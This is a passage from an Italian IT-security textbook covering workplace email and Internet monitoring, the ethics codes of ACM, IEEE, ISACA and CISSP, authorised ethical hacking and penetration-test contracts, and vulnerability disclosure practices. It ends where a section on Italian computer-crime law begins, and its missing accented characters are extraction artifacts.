vati. In tal caso, il datore di lavoro pu limitarsi a control-
lare i flussi di corrispondenza e i tempi di utilizzo evitando
ulteriori intromissioni nella sfera privata del lavoratore.
Il datore di lavoro dovrebbe informare il lavoratore del-
la possibile necessit di accedere alla sua casella e-mail
aziendale in caso di necessit (come l'assenza imprevista
del dipendente), definendo le modalit di tale accesso.
Il datore di lavoro dovr informare il lavoratore circa l'e-
sistenza di procedure di backup dei messaggi di posta elet-
tronica, la durata della conservazione e la loro cancella-
zione (da notare che l'azienda potrebbe essere tenuta a
conservare i messaggi e-mail - anche interni - come parte
della documentazione ufficiale dei propri affari, ad esempio
per dimostrare le posizioni degli interessati, la sequenza
degli eventi e la legalit del proprio operato).
Il datore di lavoro dovr informare il lavoratore sui rischi
connessi all'utilizzo della posta elettronica in relazione al-
la sicurezza del sistema informativo aziendale (i danni cau-
sati dal malware trasportato via e-mail possono riguardare
il computer locale, la rete, i server, i sistemi operativi, le
applicazioni, eccetera).
Il datore di lavoro dovr infine evidenziare il ruolo delle
rappresentanze sindacali nell'applicazione della policy
aziendale.
Utilizzo di Internet
Spetta al datore di lavoro decidere se e in che misura ai
lavoratori consentito l'uso di Internet per motivi perso-
nali. D'altra parte, il gruppo di lavoro ritiene che vietare to-
talmente l'uso di Internet a scopo personale sia sconsiglia-
bile, perch "poco pratico e non molto realistico poich
non tiene conto della misura in cui Internet pu essere
d'aiuto ai dipendenti nella loro vita quotidiana". Il gruppo
di lavoro consiglia comunque l'adozione di misure atte a
prevenire gli abusi dell'utilizzo di Internet, piuttosto che
volte a individuare i casi di abuso.
In questa ottica consigliata l'adozione di strumenti (co-
me i servizi di web filtering, esterni o integrati con il fi-
rewall) in grado di bloccare l'accesso a determinati siti o ca-
tegorie di siti, introducendo avvisi a fronte dei tentativi di
accesso bloccati.
Anche per l'uso di Internet necessario informare pre-
ventivamente il lavoratore dell'esistenza di controlli sul suo
computer. Il gruppo di lavoro, a questo proposito, ritiene
che in molti casi non sia necessario visualizzare il conte-
nuto dei siti visitati, ma sia sufficiente verificare la durata
della navigazione o l'URL dei siti visitati pi di frequente da
un'area dell'azienda. Qualora da tali verifiche generali do-
vessero emergere abusi o illeciti da parte dei lavoratori, il
datore di lavoro potr procedere a controlli pi approfon-
diti.
In generale, consigliabile che il datore di lavoro agisca
con prudenza prima di contestare un'infrazione a un lavo-
ratore, tenendo conto che errori di battitura, risposte dei
motori di ricerca, collegamenti ipertestuali ed eventuale
malware possano condurre a siti e pagine web indesidera-
ti. In ogni caso, il datore di lavoro dovr permettere al la-
voratore di difendersi dalle contestazioni mosse nei suoi
confronti, nel rispetto dello Satuto dei Lavoratori ( anche
opportuno verificare che eventuali accessi impropri a In-
ternet siano stati effettivamente eseguiti tramite l'account
del lavoratore e che sul computer non siano presenti
malware - come adware/spyware e simili - che lascino false
tracce di navigazione; anche sotto questo aspetto la pre-
venzione di gran lunga preferibile alle indagini dopo il fat-
to).
Il datore di lavoro dovr informare preventivamente il la-
voratore sui limiti e le condizioni entro i quali sia even-
tualmente consentito l'uso di Internet per scopi privati, pre-
cisando orari e tempi per l'suo privato, le categorie di siti
precluse e quale materiale non pu essere visionato, sca-
ricato o copiato, spiegando in dettaglio le motivazioni di ta-
li limitazioni.
Stante che preferibile introdurre filtri web piuttosto
che divieti di navigazione, i lavoratori dovranno essere
informati sui sistemi adottati per impedire l'accesso a de-
terminati siti/gruppi di siti e per individuare i casi i abuso.
Dovranno anche essere comunicate le modalit di esecu-
zione dei controlli, le aree oggetto dei controlli e la possi-
bilit di eseguire controlli individuali nel caso siano rileva-
te infrazioni. Anche in tal caso i lavoratori dovranno esse-
re informati sul ruolo delle rappresentanze sindacali nel-
l'adozione della policy aziendale.
Codici deontologici ed etici
In questa sezione sono presi in considerazione i codici
deontologici proposti da alcune delle maggiori associazio-
ni professionali a livello internazionale. Se ne possono ri-
cavare alcuni principi fondamentali che dovrebbero esse-
re applicati anche dai professionisti di sicurezza informa-
tica.
Il codice deontologico della Association
for Computing Machinery (ACM)
L'ACM, fondata nel 1947, una delle pi antiche asso-
ciazioni di professionisti informatici e condivide con l'IEEE
Computer Society, pressoch coetanea, la leadership nel
settore.
Il codice deontologico dell'ACM (www.acm.org/consti-
tution/code.html) consiste di 24 principi che dovrebbero
5.8.2.5: Conoscere i
principali codici di
riferimento: codici
deontologici, codici
etici (casi studiati:
ACM, BCS, IEEE, etc)
essere rispettati nello svolgimento della propria attivit
professionale, suddivisi in sezioni e descritti in dettaglio
(imperativi morali generali, specifiche responsabilit mo-
rali, imperativi di leadership organizzativa e conformit
con il codice).
L'articolo 1.1 impegna il membro ACM a contribuire al
benessere della societ e dell'umanit, proteggendo i diritti
umani fondamentali e rispettando la diversit delle cultu-
re.
Larticolo 1.2 (evita di danneggiare gli altri) responsa-
bilizza gli operatori del settore di fronte a ogni tipo di dan-
no, diretto o indiretto, che pu derivare dalle proprie o al-
trui attivit. Non solo il professionista non deve compiere
azioni dannose (direttamente o come conseguenza di
azioni lecite), ma ha l'obbligo di segnalare rischi e indizi di
pericolo osservati nel proprio ambiente di competenza
(per esempio le violazioni alle politiche di sicurezza azien-
dali).
L'articolo 1.3 (sii onesto e degno di fiducia) impegna il
professionista non solo a operare con diligenza e buona fe-
de ma anche a dichiarare apertamente le proprie compe-
tenze e i propri limiti.
L'articolo 1.4 impegna i membri a essere corretti e a evi-
tare attivamente qualsiasi discriminazione.
Gli articoli 1.5 e 1.6 vincolano il professionista a ono-
rare i diritti di propriet, compresi copyright e brevetti, e
a non assumere il merito per le opere altrui, anche quando
non soggette a protezione legale.
L'articolo 1.7 (rispetta la privacy altrui) impegna il pro-
fessionista a utilizzare gli strumenti di raccolta e analisi
delle informazioni (che possono includere le idee e il com-
portamento altrui) usando ogni precauzione perch tali
informazioni non possano essere utilizzate per fini estranei
alla protezione di reti e sistemi.
L'articolo 1.8 (onora la riservatezza) vincola il profes-
sionista al dovere di riservatezza delle informazioni sia in
conformit agli impegni presi esplicitamente sia evitando
di divulgare informazioni private raccolte accidentalmen-
te ed estranee ai doveri professionali.
L'articolo 2.1 un impegno a perseguire la qualit e l'ec-
cellenza del proprio lavoro come obbligo prioritario di un
professionista. Nel campo della sicurezza, tale articolo as-
sume un'importanza fondamentale. A complemento di ta-
le principio, l'articolo 2.2 vincola al continuo aggiorna-
mento professionale.
L'articolo 2.3 impegna il professionista alla conoscenza
e al rispetto delle leggi applicabili al suo campo di attivit.
L'articolo 2.4 afferma l'utilit delle "peer review", cio
della pratica di sottoporre il proprio lavoro alla valutazio-
ne di altri membri della comunit che possono suggerire
miglioramenti e correzioni.
L'articolo 2.5 impone di fornire al cliente valutazioni
complete e approfondite dei sistemi, dei fattori di rischio
e delle conseguenze potenziali.
L'articolo 2.6 vincola il professionista a onorare i con-
tratti, gli accordi e le responsabilit che gli sono state as-
segnate.
L'articolo 2.7 invita i professionisti a condividere la pro-
pria conoscenza tecnica con il pubblico, migliorando la
comprensione dell'informatica, correggendo le false infor-
mazioni e rendendo noti gli impatti e le limitazioni con-
nessi all'uso dei computer (aspetti che diventano una sor-
ta di dovere morale per gli esperti di sicurezza).
L'articolo 2.8 raccomanda ai professionisti di accedere
a sistemi e reti solo se autorizzati a farlo
La terza sezione riguarda chi ha mansioni direttive e s'i-
spira al codice etico dell'IFIP (International Federation for
Information Processing), un'organizzazione multinaziona-
le non governativa e non profit nel campo delle tecnologie
ICT e delle scienze, riconosciuta dall'ONU e da altri enti in-
ternazionali.
L'articolo 3.1, preso atto che ogni tipo di organizzazio-
ne ha un impatto sul pubblico, richiama i membri di qual-
siasi unit organizzativa ad accettare la responsabilit ver-
so la societ. I leader dovrebbero incoraggiare piena par-
tecipazione in tal senso, adottando procedure organizza-
tive e atteggiamenti orientati alla qualit e al benessere del-
la collettivit.
L'articolo 3.2 ricorda ai leader delle organizzazioni che
i sistemi informativi dovrebbero migliorare la qualit del-
la vita nell'ambiente di lavoro. Quando si realizza un siste-
ma computerizzato - e ci vale anche per le misure di si-
curezza - si deve tenere in considerazione la salute, la di-
gnit e lo sviluppo personale e professionale dei lavorato-
ri.
L'articolo 3.3 richiede alla leadership di definire chia-
ramente quali sono gli utilizzi leciti e illeciti delle risorse
informatiche aziendali. Dato che i computer possono es-
sere usati sia a beneficio sia a danno di un'organizzazione,
il loro uso appropriato dovrebbe essere reso noto e sup-
portato. Le regole sull'utilizzo delle risorse informatiche
dovrebbero essere limitate per numero e complessit, ma
una volta stabilite dovrebbero essere fatte applicare inte-
gralmente.
L'articolo 3.4 chiede che gli utenti di un sistema abbia-
no voce in capitolo durante la fase di valutazione dei re-
quisiti; dopo la realizzazione, si dovrebbe verificare che il
sistema risponda a tali requisiti.
L'articolo 3.5 vincola i progettisti e gli implementatori
di un sistema a tutelare la privacy e la dignit degli utenti
e delle altre parti interessate.
L'articolo 3.6 incoraggia il professionista a creare le op-
portunit, all'interno dell'organizzazione, per far conosce-
re i principi e le limitazioni dei sistemi informatici, facilita-
re la partecipazione del personale e migliorarne le cono-
scenze informatiche.
I due articoli della quarta sezione impegnano i membri
dell'associazione a difendere e promuovere i principi del
codice. L'adesione una questione etica, quindi volontaria,
ma in caso di gravi violazioni si pu essere espulsi dall'as-
sociazione.
Il codice deontologico dell'Institute of Electrical
and Electronic Engineers (IEEE)
L'IEEE la pi grande associazione mondiale di tecnici
e ingegneri elettrotecnici ed elettronici ed anche la pi
antica: bench abbia assunto il nome attuale solo nel 1963,
la sua origine risale al 1946, come dimostrano i festeggia-
menti del 2006 per il 60 anniversario.
Il codice deontologico dell'IEEE (www.ieee.org/por-
tal/pages/about/whatis/code.html) molto pi breve di
quello dell'ACM e non specifico per i professionisti infor-
matici. Consiste di un decalogo che impegna i membri ad
accettare le responsabilit per le proprie scelte tecnologi-
che e per agire in direzione del massimo bene per la col-
lettivit.
Codice Etico dell'IEEE
Noi, membri dell'IEEE, riconoscendo l'importanza delle
nostre tecnologie nell'influenzare la qualit della vita di tut-
to il mondo e accettando la responsabilit personale nei
confronti della nostra professione, dei suoi membri e del-
le comunit che serviamo, con ci ci impegniamo a osser-
vare il massimo livello di condotta etica e professionale e
promettiamo:
1. di accettare la responsabilit di prendere decisioni coe-
renti con la sicurezza, salute e benessere del pubblico e di ri-
velare tempestivamente fattori che potrebbero recare danno
al pubblico o all'ambiente;
2. di evitare reali o apparenti conflitti d'interesse ogni-
qualvolta possibile e di rivelarli alle parti interessate quan-
do esistano;
3. di essere onesto e realistico nel formulare affermazio-
ni o valutazioni basate sui dati disponibili;
4. di rifiutare ogni forma di corruzione;
5. di migliorare la comprensione della tecnologia, delle
sue applicazioni appropriate e delle potenziali conseguenze;
6. di mantenere e migliorare la nostra competenza tecni-
ca e di assumere incarichi tecnologici per altri solo se quali-
ficato per addestramento o esperienza o dopo completa ri-
velazione delle limitazioni pertinenti;
7. di cercare, accettare e offrire critica onesta del lavoro
tecnico, di riconoscere e correggere gli errori e di assegnare
giusto credito ai contributi altrui;
8. di trattare correttamente tutte le persone indipendente-
mente da fattori come razza, religione, genere, disabilit, et
o provenienza;
9. di evitare di danneggiare altri, le loro propriet, repu-
tazione o impiego attraverso azioni false o dolose;
10. di assistere i colleghi e i collaboratori nel loro svilup-
po professionale e di aiutarli a seguire questo codice etico.
Consiglio direttivo dell'IEEE, febbraio 2006
Il codice deontologico per lo sviluppo del software
L'IEEE e l'ACM hanno sviluppato congiuntamente un co-
dice deontologico per lo sviluppo del software, reperibile
presso www.acm.org/serving/se/code.htm. Consiste di ot-
to principi fondamentali, riassunti in poche righe nella ver-
sione corta e ampliati in sottoarticoli nella versione com-
pleta. Gli argomenti delle otto sezioni sono: Pubblico,
Cliente e Datore di lavoro, Prodotto, Giudizio, Gestione,
Professione, Colleghi e S stessi.
Il primo principio impone agli sviluppatori di software di
agire costantemente nel pubblico interesse. Lo sviluppa-
tore deve accettare la responsabilit per il proprio lavoro,
tenere in considerazione gli interessi di tutte le parti in cau-
sa e il bene collettivo, approvare il software solo se sicu-
ro, conforme alle specifiche, non reca danno alla qualit
della vita e alla privacy e supera i test. Lo sviluppatore de-
ve comunicare eventuali pericoli derivanti dall'uso del
software e collaborare agli sforzi per risolverne i problemi.
Deve essere corretto e onesto nelle sue affermazioni e con-
tribuire all'informazione e all'istruzione del pubblico.
Il secondo articolo specifica che il professionista, fermo
restando il pubblico interesse, deve agire nel migliore in-
teresse del cliente o datore di lavoro. Lo sviluppatore deve
fornire servizio nella sua sfera di competenza, non deve
usare software ottenuto o conservato illegalmente, deve
usare le risorse del cliente nei modi autorizzati, deve ba-
sare il proprio lavoro su documenti approvati, deve man-
tenere il segreto professionale, deve informare il cliente di
ogni fattore che pu intralciare o far fallire il lavoro o cau-
sare problemi per la collettivit. Non deve accettare lavori
che possano interferire con quello commissionato dal
cliente principale e non deve promuovere interessi contrari
a quelli del cliente se non per una causa etica superiore.
Il terzo principio vincola gli sviluppatori a perseguire nel
loro lavoro il massimo standard professionale possibile,
compatibilmente con i costi e i tempi di sviluppo concor-
dati con il cliente e con il coinvolgimento degli utenti e del
pubblico. Lo sviluppatore deve valutare se qualificato per
il progetto e assicurare che gli obiettivi siano raggiungibi-
li, deve considerare gli aspetti di contorno (etici, economi-
ci, culturali, legali e ambientali), deve utilizzare metodi di
lavoro e standard professionali appropriati, deve impe-
gnarsi a comprendere pienamente le specifiche del softwa-
re, assicurandosi che siano ben documentate e approvate,
deve assicurare una stima realistica delle risorse necessa-
rie (tempo, costo, personale) e dei risultati. Deve assicu-
rare adeguate fasi di testing, debugging e documentazione
del software, usare informazioni ottenute in modo etico e
legale, usare informazioni aggiornate, preservare l'integrit
dei dati e la privacy delle persone coinvolte. Anche nella fa-
se di manutenzione lo sviluppatore dovrebbe dimostrare lo
stesso livello di professionalit dedicato allo sviluppo.
Il quarto principio chiede agli sviluppatori di mantene-
re l'integrit e indipendenza del loro giudizio professiona-
le. Lo sviluppatore non deve perdere mai di vista i valori
umani, deve approvare solo documenti preparati sotto la
sua supervisione o che in grado di valutare, deve fornire
il proprio giudizio tecnico con obiettivit, deve rimanere
estraneo a qualsiasi pratica corruttiva, deve rivelare i pos-
sibili conflitti d'interesse che non sia possibile evitare e de-
ve rifiutarsi di partecipare ad attivit dove qualche parte in
causa abbia conflitti d'interesse non rivelati.
Il quinto principio verte intorno alla gestione etica del-
lo sviluppo e della manutenzione del software. I manager
del progetto devono promuovere procedure che perse-
guano la qualit e la riduzione dei rischi, assicurare che gli
sviluppatori siano al corrente degli standard a cui sono te-
nuti, applicare le politiche e procedure di sicurezza interna,
assegnare il lavoro in base alla competenza professionale
e alle potenzialit del personale, stimare in modo realistico
costi, tempi, risorse necessarie, qualit, risultati e valutare
il relativo margine d'incertezza, attrarre gli sviluppatori po-
tenziali attraverso una descrizione accurata delle condi-
zioni di lavoro, offrire una giusta remunerazione, chiarire
gli aspetti di propriet intellettuale del software sviluppa-
to. Il management deve inoltre definire la procedura da
adottare in caso di violazioni del codice (contestazione e
difesa), astenersi dal chiedere a uno sviluppatore azioni
contrarie al codice e dal comminare punizioni a chiunque
esprima preoccupazioni etiche riguardanti un progetto.
Il sesto principio impegna a difendere l'integrit e la re-
putazione della professione coerentemente con l'interesse
pubblico. Lo sviluppatore dovrebbe contribuire a creare un
ambiente organizzativo che agisce in modo etico, promuo-
vere la conoscenza dell'ingegneria del software, estendere
la propria competenza partecipando ad attivit scientifiche
e alle organizzazioni professionali, aiutare i colleghi ad ap-
plicare il codice, non anteporre i propri interessi a quelli
della professione o del cliente, rispettare le leggi applicabili
al loro lavoro, essere onesti e precisi nelle dichiarazioni re-
lative al software a cui stanno lavorando e assumersi la re-
sponsabilit di rilevare, correggere e documentare gli er-
rori. Lo sviluppatore dovrebbe rendere pubblico il suo im-
pegno a rispettare il codice, evitare di associarsi ad azien-
de e colleghi che violano il codice, comunicare il proprio
punto di vista - quando possibile - alle persone coinvolte in
gravi violazioni e nel caso sia impossibile, controprodu-
cente o pericoloso, segnalare le violazioni alle autorit.
Il settimo principio promuove un atteggiamento corret-
to e collaborativo verso i colleghi. Uno sviluppatore do-
vrebbe incoraggiare i colleghi ad aderire al codice, assi-
sterli nel loro sviluppo professionale, dare il giusto credito
al lavoro altrui senza prendersene i meriti, valutare il lavo-
ro altrui in modo onesto, obiettivo e documentato, con-
sentire ai colleghi di esprimere opinioni, preoccupazioni e
lamentele, assistere i colleghi nel conoscere e applicare le
pratiche standard di lavoro, tra cui le misure di sicurezza,
non intervenire indebitamente nella carriera di un collega
a meno che l'interesse del cliente o del pubblico non indu-
cano a verificarne la competenza. In situazioni che esulano
dalla sua area di competenza, lo sviluppatore dovrebbe
chiedere consiglio a esperti di tali aree.
L'ottavo e ultimo principio riguarda gli obblighi di un
professionista verso se stesso, attraverso il costante ap-
prendimento e la promozione di un approccio etico verso
la professione. Uno sviluppatore deve approfondire la co-
noscenza delle fasi di sviluppo e del processo di manage-
ment dei progetti, deve migliorare la capacit di realizzare
software affidabile e funzionale con tempi e costi ragione-
voli e una documentazione accurata, deve migliorare la
comprensione del software su cui lavora e dell'ambiente in
cui sar utilizzato, deve migliorare la conoscenza degli
standard e delle leggi riguardanti il software, deve cono-
scere e applicare sempre meglio il codice al suo lavoro.
Inoltre deve trattare gli altri senza farsi influenzare da pre-
giudizi, deve evitare d'influenzare gli altri verso comporta-
menti contrari al codice e deve riconoscere che violare il
codice incompatibile con l'essere un professionista dello
sviluppo del software.
Il codice deontologico dell'Information Systems
Audit and Control Association (ISACA)
L'ISACA l'associazione internazionale degli auditor
informatici e la relativa certificazione CISA (Certified Infor-
mation Systems Auditor una delle pi valide a livello in-
ternazionale, con oltre 44.000 auditor - marzo 2006). In Ita-
lia esistono due Capitoli dell'ISACA a Milano e a Roma (ve-
di elenco presso www.isaca.org/Content/NavigationMe-
nu/About_ISACA/Chapters/ISACA_Chapters_in_Africa_and
_Europe.htm#italy).
Il Codice di Etica Professionale di ISACA (
www.isaca.org/Template.cfm?Section=Code_of_Profes-
sional_Ethics&Template=/TaggedPage/TaggedpageDi-
splay.cfm&TPLID=14&ContentID=5009) consiste di sette
brevi articoli. Esso incoraggia i membri a: 1) supportare
l'implementazione di standard, procedure e controlli per i
sistemi informativi; 2) eseguire i propri compiti con obiet-
tivit, diligenza e cura professionale, secondo gli standard
e le pratiche della professione; 3) agire nell'interesse delle
parti coinvolte in modo legale e onesto, mantenendo alti
standard di condotta ed evitando azioni che discreditino la
professione; 4) mantenere il segreto professionale e non
usare le informazioni acquisite nello svolgimento dei pro-
pri compiti per beneficio personale; 5) mantenere la com-
petenza nel proprio campo e intraprendere solo attivit di
cui si abbia competenza professionale; 6) informare le par-
ti interessate dei risultati del lavoro svolto, rivelando tutti
i fatti significativi noti; 7) supportare l'istruzione profes-
sionale delle parti interessate affinch migliorino la propria
comprensione della sicurezza e del controllo dei sistemi
informativi.
Il codice deontologico dei Certified Information
Systems Security Professional (CISSP)
La certificazione CISSP offerta da (ISC)2, che significa In-
ternational Information Systems Security Certification Con-
sortium, la pi prestigiosa certificazione indipendente nel
campo della sicurezza dell'informazione. Anch'essa ha un
codice etico (www.cissp.com/cissps/ethics_code.asp) a
cui tutti i professionisti CISSP sono strettamente vincolati,
come condizione per mantenere il proprio stato.
Il codice s'ispira a quattro regole fondamentali: 1) pro-
teggi la societ, il bene comune e l'infrastruttura; 2) agisci
in modo onorevole, con giustizia, in modo responsabile e
nel rispetto della legalit; 3) presta servizio diligente e com-
petente alle parti interessate; 4) fai progredire e proteggi la
professione.
Il codice inizia con un preambolo che vincola ad alti
standard etici di comportamento, per il bene della colletti-
vit, delle parti interessate e dei colleghi; la stretta adesio-
ne al codice una delle condizioni per ricevere la certifi-
cazione.
Dopo l'enunciazione delle quattro regole, o canoni, se-
gue l'enunciazione di una serie di obiettivi che il comitato
autore del codice ha ritenuto di dover perseguire e che so-
no inclusi a scopo informativo, come consigli di compor-
tamento corretto (per esempio incoraggiare la ricerca, l'in-
segnamento, l'ampliamento della professione) e di com-
portamento da evitare (creare allarme o falsa rassicura-
zione, consentire pratiche scorrette, attaccare sistemi vul-
nerabili, associarsi a non professionisti, dilettanti e crimi-
nali). Seguono le quattro regole, ciascuna resa pi esplici-
ta da una serie di principi di comportamento che ricalcano,
in modo breve e sintetico, i principi esposti dai codici esa-
minati in precedenza. L'operato di un CISSP dovrebbe es-
sere volto a mantenere l'integrit dei sistemi informativi,
promuovere la conoscenza delle misure di sicurezza, sco-
raggiare le pratiche insicure, rispettare la legge e gli accor-
di, usare prudenza e onest, non fornire servizi di cui non
si competenti, evitare conflitti d'interesse, mantenere ed
espandere la propria competenza, agire nell'interesse del-
la professione e dei colleghi.
Hacking etico
Tra le tante definizioni della parola hacker, che si sono
evolute nel corso del tempo con ramificazioni non sempre
attendibili, possiamo ritenere appropriata quella seguente.
Un hacker una persona che s'impegna ad affrontare sfi-
de intellettuali per aggirare o superare creativamente le li-
mitazioni che gli vengono imposte, non limitatamente ai
suoi ambiti d'interesse (che di solito comprendono l'infor-
matica e l'elettronica), ma in tutti gli aspetti della vita.
Un luogo comune diffuso dai media vede il termine
hacker associato ai crimini informatici, ma in tal caso ap-
propriato il temine cracker: colui che entra abusivamente
nei sistemi altrui allo scopo di danneggiarli (cracking), la-
sciare una traccia del proprio passaggio, utilizzarli come
teste di ponte per altri attacchi oppure sfruttare le loro ca-
pacit di calcolo o l'ampiezza di banda in rete.
Per distinguere hacker da cracker, talvolta l'hacker vie-
ne chiamato Hacker etico (animato da buone intenzioni)
per distinguerlo dal cracker, che anche chiamato Black
hat (cappello nero) nella scia dei vecchi film western di Hol-
lywood, che a beneficio del pubblico distinguevano i buo-
ni (col cappello bianco) dai cattivi (col cappello nero).
Un ethical hacker colui che, debitamente autorizzato,
attacca un sistema informativo per individuarne le vulne-
rabilit. Molte grandi aziende hanno assunto questo tipo di
figura; negli USA l'International Council of Electronic Com-
merce Consultants (EC-Council) fornisce, previo esame a
pagamento, la certificazione CEH (Certified Ethical Hacker)
e decine di grandi aziende e organizzazioni statali e milita-
ri hanno fatto certificare un loro esperto in sicurezza. In-
tense School, in Florida, un esempio di "hacker college"
che prepara gli studenti a superare l'esame CEH. La scuola
tiene ogni anno circa 200 corsi di information security, a di-
mostrazione che i buoni esperti di sicurezza devono saper
indossare i panni di un hacker.
L'ethical hacking un servizio di ricerca delle vulnera-
bilit di reti e sistemi, basato sulle tecniche e sugli stru-
menti usati dai cracker, al fine d'individuare e attuare le
contromisure necessarie a proteggere adeguatamente le ri-
sorse informatiche. Il servizio svolto sia dall'esterno, tra-
mite Internet o via rete wireless, sia dall'interno, attraver-
so la LAN aziendale.
L'attivit di ethical hacking viene svolta generalmente at-
traverso attacchi simulati alla rete aziendale che prendono
il nome di penetration test o security probe e sono attuati
da specialisti di tecniche anti-intrusione. Tali attivit sono
talvolta condotte da gruppi di professionisti che sono chia-
mati anche Tiger Team, dal nome delle squadre che, nelle
forze armate USA, avevano il compito di saggiare la sicu-
rezza delle installazioni amiche, lasciando tracce del loro
passaggio.
Gli ethical hacker, consulenti o dipendenti di aziende di
sicurezza informatica, possiedono una variet di compe-
tenze e utilizzano uno spettro di strumenti ampiamente do-
cumentato in libri e siti sull'argomento. Un campione di
strumenti d'indagine, tutti OpenSource, potrebbe essere:
whois, dig, traceroute, tcptraceroute, nmap, telnet, netcat,
nikto, hydra, nessus, Kismet, Airsnort, Cain&Abel, ma ce ne
sono tanti altri. Tuttavia, il requisito primario di un hacker
etico non tecnico (l'abilit tecnica necessaria, ma non
sufficiente), bens l'essere degno di fiducia. Mentre mette
alla prova la sicurezza informatica di un cliente, l'hacker eti-
5.8.2.6: Conoscere
terminologia e
aspetti essenziali
dell'etica hacker
co pu scoprire informazioni segrete, che se divulgate po-
trebbero motivare veri cracker a compiere intrusioni, con
possibili danni economici per il cliente. Inoltre la sensibilit
delle informazioni con cui l'ethical hacker viene a contatto
richiede che i sistemi informatici utilizzati dall'ethical
hacker siano a loro volta a prova di intrusione. Questo un
caso in cui il detto che il ciabattino ha le scarpe bucate non
applicabile. Il contratto tra il cliente e l'hacker etico, oltre
ad autorizzare l'intrusione e a specificare i sistemi interes-
sati e i tempi e modalit d'azione, dovr includere una se-
rie di requisiti di sicurezza da parte dello stesso hacker eti-
co.
Gli accordi contrattuali per definire esattamente l'atti-
vit di un hacker etico sono d'importanza fondamentale,
anche per evitare il rischio di risvolti illegali. L'articolo 615
ter del Codice Penale italiano punisce chiunque si introdu-
ce abusivamente in un sistema informatico o telematico
protetto da misure di sicurezza o vi si mantiene contro la
volont espressa o tacita di chi ha il diritto di escluderlo. Le
attivit di ethical hacking sono svolte con il consenso di chi
detiene il "diritto di esclusione" citato dalla legge, quindi
non sono perseguibili a condizione che non eccedano i ter-
mini contrattuali concordati tra cliente e fornitore del ser-
vizio.
Per evitare malintesi e inconvenienti, nella prassi l'ethi-
cal hacker e il cliente stipulano un contratto che disciplina
ogni aspetto dell'attivit di ethical hacking e che pone il
consulente al riparo da eventuali procedimenti o respon-
sabilit penale. Tale contratto anche detto "get free out of
jail card" (cartolina per uscire di prigione gratis). Non si
pu infatti escludere che qualche addetto alla sicurezza, ri-
levando un'intrusione particolarmente devastante, avvisi le
autorit, mettendo in moto il meccanismo investigativo e
giudiziario. Generalmente, preferibile che il minor nume-
ro di persone possibile sia al corrente dell'attacco simula-
to, per evitare che vengano attivate protezioni e disattiva-
te risorse, alterando lo stato abituale dei sistemi. C' anche
una ragione meno ovvia, per non avvertire il personale:
specialmente in una grande azienda, c' il rischio che la no-
tizia dell'attacco simulato arrivi alle orecchie di un cracker,
che potrebbe sfruttare l'attacco dell'ethical hacker per pre-
parare un attacco realmente dannoso. L'accordo tra clien-
te ed ethical hacker deve specificare con precisione i si-
stemi, le reti, gli indirizzi, le risorse da attaccare per verifi-
carne le misure di difesa. Pu essere concordato un orario
al di fuori delle ore di lavoro, per evitare danni alla produ-
zione, ma in linea di massima preferibile che l'attacco si
svolga "senza limiti" all'efficacia dei tentativi di penetra-
zione; se non lo fa l'ethical hacker, potrebbe farlo un
cracker e l'azienda non saprebbe prevederne l'esito. Un al-
tro criterio che il cliente non digerisce volentieri la dura-
ta dell'attacco dopo la penetrazione nella rete e nei sistemi.
Dovrebbe essere scoraggiato l'atteggiamento prudenziale
di interrompere l'attacco dopo i primi cedimenti, perch
impedirebbe all'ethical hacker di scoprire tutte le vulnera-
bilit e le informazioni rilevanti. E' comunque necessario
che l'ethical hacker fornisca al cliente un quadro accurato
e realistico dei rischi potenziali del suo attacco.
Si racconta di attacchi dei Tiger Team militari che, dopo
un successo, hanno causato scossoni negli organigrammi;
negli ambienti civili a volte serve uno scossone che riveli le
falle, smascheri le false sicurezze e l'indifferenza e permet-
ta all'azienda di affrontare le responsabilit per la sicurez-
za previste anche dalla legge. Il personale pu reagire a un'i-
spezione a sorpresa come se fosse una minaccia persona-
le, perci il management aziendale deve essere preparato
a tranquillizzare gli animi (senza peraltro essere avvertito
in anticipo).
L'hardware e soprattutto il software sono soggetti a er-
rori e vulnerabilit, come stato dimostrato in primo luo-
go da Microsoft (con le frequenti patch di Windows e degli
altri prodotti) e ormai anche da molti altri produttori, che
periodicamente inviano gli aggiornamenti online. Ci vale
per i sistemi operativi (come le distribuzioni Linux e Mac
OS) e per le applicazioni (per esempio database e office au-
tomation). Siti come secunia.com, sans.org e securityfo-
cus.com tengono un costante monitoraggio delle principa-
li vulnerabilit e ne segnalano la gravit sia sul sito sia at-
traverso e-mail newsletter. Per esempio, in marzo 2006, il
31% delle 78 vulnerabilit di Internet Explore 6.x censite da
Secunia tra il 2003 e il 2006 era privo di correzione; le 78 fal-
le erano giudicate per il 14% estremamente critiche e per il
28% altamente critiche.
Quando un ricercatore indipendente riporta in dettaglio
una vulnerabilit hardware o software, si dice che essa ha
avuto full disclosure, cio piena rivelazione. Ci spesso
criticato anche aspramente dai produttori, che non amano
essere accusati (talvolta a buon diritto) di produrre softwa-
re insicuro. La maggiore motivazione dell'opposizione alle
full disclosure che incoraggiano lo sfruttamento delle fal-
le da parte dei cracker prima che sia disponibile una patch
per correggere l'errore o almeno turare la falla.
La responsible disclosure (rivelazione responsabile), di-
La homepage di
Secunia.com
Numero e gravit delle
falle di Internet Explorer 6
secondo Secunia.com
versamente dalla full disclosure, si limita a pubblicare liste
di vulnerabilit senza i dettagli tecnici che potrebbero fa-
vorirne lo sfruttamento.
Infine, la non disclosure consiste nel rilasciare la patch
per un determinato prodotto senza indicare in dettaglio la
vulnerabilit; questa la pratica consueta dei produttori di
software, in parte giustificata dal fatto che molti clienti non
applicano tutti gli aggiornamenti (o non lo fanno pronta-
mente), quindi sarebbero facili vittime dei cracker che
sfruttassero i dettagli tecnici della vulnerabilit appena
corretta.
Crimine informatico
Le tecnologie informatiche e il loro utilizzo distorto, a
scopo dannoso, si sono evoluti pi rapidamente degli or-
dinamenti giuridici, che spesso si sono trovati imprepara-
ti ad affrontare nuove tipologie di reati. Non potendosi ap-
plicare, a livello penale, analogie con altri tipi di reato, i cri-
mini informatici inizialmente non sono stati perseguibili at-
traverso le leggi vigenti. Per tale motivo, la Raccomanda-
zione R 89/9 del 13/9/1989 del Comitato dei ministri del
Consiglio d'Europa, avente per soggetto la criminalit
informatica, invitava gli stati membri, in occasione della
promulgazione di nuove leggi o di revisione di quelle esi-
stenti, a seguire i principi enunciati dal rapporto sulla cri-
minalit informatica del comitato europeo sui problemi cri-
minali.
Il legislatore italiano, venendo incontro a tali indicazio-
ni, con la legge 547 del 23/12/1993 ha aggiornato il Codice
Penale inserendo nuove fattispecie di crimine, relative al
campo informatico, che hanno introdotto nuovi concetti
giuridici e nuove categorie di beni tutelati dalla legge.
La maggior parte delle nuove fattispecie criminose in-
